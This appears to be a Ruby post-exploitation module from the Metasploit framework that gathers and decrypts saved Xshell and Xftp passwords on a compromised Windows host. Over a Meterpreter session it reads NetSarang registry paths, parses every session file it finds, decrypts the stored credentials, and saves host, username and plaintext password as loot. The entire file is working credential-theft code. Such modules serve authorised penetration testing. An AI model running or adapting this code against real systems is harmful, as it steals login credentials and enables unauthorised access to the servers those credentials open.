203 lines
6.4 KiB
Ruby
203 lines
6.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::UserProfiles
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::Windows::Accounts
|
|
include Rex::Parser::NetSarang
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather Xshell and Xftp Passwords',
|
|
'Description' => %q{
|
|
This module can decrypt the password of xshell and xftp,
|
|
if the user chooses to remember the password.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/HyperSine/how-does-Xmanager-encrypt-password/blob/master/doc/how-does-Xmanager-encrypt-password.md']
|
|
],
|
|
'Author' => [
|
|
'Kali-Team <kali-team[at]qq.com>'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_search
|
|
stdapi_fs_separator
|
|
stdapi_fs_stat
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('MASTER_PASSWORD', [ false, 'If the user sets the master password, e.g.:123456']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def try_encode_file(data)
|
|
# version 6.0 The character set of the session file will use Unicode
|
|
# version <= 5.3 The character set of the session file will use ANSI
|
|
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
|
|
data[2..].force_encoding('UTF-16LE').encode('UTF-8')
|
|
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
|
|
data
|
|
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
|
|
data[2..].force_encoding('UTF-16BE').encode('UTF-8')
|
|
else
|
|
data
|
|
end
|
|
end
|
|
|
|
def enable_master_passwd?(version_6_path)
|
|
file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
|
|
file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
|
|
if file_contents.nil? || file_contents.empty?
|
|
return false
|
|
end
|
|
|
|
file = try_encode_file(file_contents)
|
|
file.include?('EnblMasterPasswd=1')
|
|
end
|
|
|
|
def net_sarang_store_config(config)
|
|
service_data = {
|
|
address: config[:host],
|
|
port: config[:port],
|
|
service_name: config[:type],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
private_type: :password,
|
|
private_data: config[:password],
|
|
username: config[:username]
|
|
}.merge(service_data)
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
core: credential_core,
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def enum_session_file(path, user_profiles)
|
|
xsh_xfp = []
|
|
tbl = []
|
|
print_status("Search session files on #{path}")
|
|
xsh_xfp += session.fs.file.search(path, '*.xsh')
|
|
xsh_xfp += session.fs.file.search(path, '*.xfp')
|
|
|
|
# enum session file
|
|
xsh_xfp.each do |item|
|
|
file_name = item['path'] + session.fs.file.separator + item['name']
|
|
file_contents = read_file(file_name)
|
|
if file_contents.nil? || file_contents.empty?
|
|
print_status "Skipping empty file: #{file_name}"
|
|
next
|
|
end
|
|
|
|
file = try_encode_file(file_contents)
|
|
session_type = (File.extname(file_name) == '.xsh') ? 'Xshell' : 'Xftp'
|
|
|
|
# parser configure file
|
|
if session_type == 'Xshell'
|
|
version, host, port, username, password = parser_xsh(file)
|
|
else
|
|
version, host, port, username, password = parser_xfp(file)
|
|
end
|
|
|
|
# decrypt password
|
|
if enable_master_passwd?(path)
|
|
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'], datastore['MASTER_PASSWORD'])
|
|
else
|
|
net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'])
|
|
end
|
|
plaintext = net_sarang.decrypt_string(password) if password
|
|
print_error('Invalid MASTER_PASSWORD, Decryption failed!') if !plaintext && password
|
|
tbl << {
|
|
version: "#{session_type}_V" + version.to_s,
|
|
file_name: item['name'],
|
|
host: host,
|
|
port: port,
|
|
username: username,
|
|
plaintext: plaintext,
|
|
password: password
|
|
}
|
|
end
|
|
return tbl
|
|
end
|
|
|
|
def run
|
|
print_status("Gather Xshell and Xftp Passwords on #{sysinfo['Computer']}")
|
|
profiles = grab_user_profiles
|
|
result = []
|
|
profiles.each do |user_profiles|
|
|
next if user_profiles['SID'].nil?
|
|
|
|
parent_key_6 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\6\\UserData"
|
|
parent_key_5 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\5\\UserData"
|
|
# get session file path
|
|
net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
|
|
net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))
|
|
|
|
# enum session file
|
|
result += enum_session_file(net_sarang_path_5, user_profiles) if session.fs.file.exist?(net_sarang_path_5)
|
|
result += enum_session_file(net_sarang_path_6, user_profiles) if session.fs.file.exist?(net_sarang_path_6)
|
|
end
|
|
columns = [
|
|
'Type',
|
|
'Name',
|
|
'Host',
|
|
'Port',
|
|
'UserName',
|
|
'Plaintext',
|
|
'Password'
|
|
]
|
|
tbl = Rex::Text::Table.new(
|
|
'Header' => 'Xshell and Xftp Password',
|
|
'Columns' => columns
|
|
)
|
|
result.each do |item|
|
|
tbl << item.values
|
|
config = {
|
|
type: item[:version].starts_with?('Xshell') ? 'ssh' : 'ftp',
|
|
host: item[:host],
|
|
port: item[:port].to_i,
|
|
username: item[:username],
|
|
password: item[:plaintext]
|
|
}
|
|
net_sarang_store_config(config)
|
|
end
|
|
print_line(tbl.to_s)
|
|
# Only save data to disk when there's something in the table
|
|
if tbl.rows.count
|
|
path = store_loot('host.xshell_xftp_password', 'text/plain', session, tbl, 'xshell_xftp_password.txt', 'Xshell Xftp Passwords')
|
|
print_good("Passwords stored in: #{path}")
|
|
end
|
|
end
|
|
end
|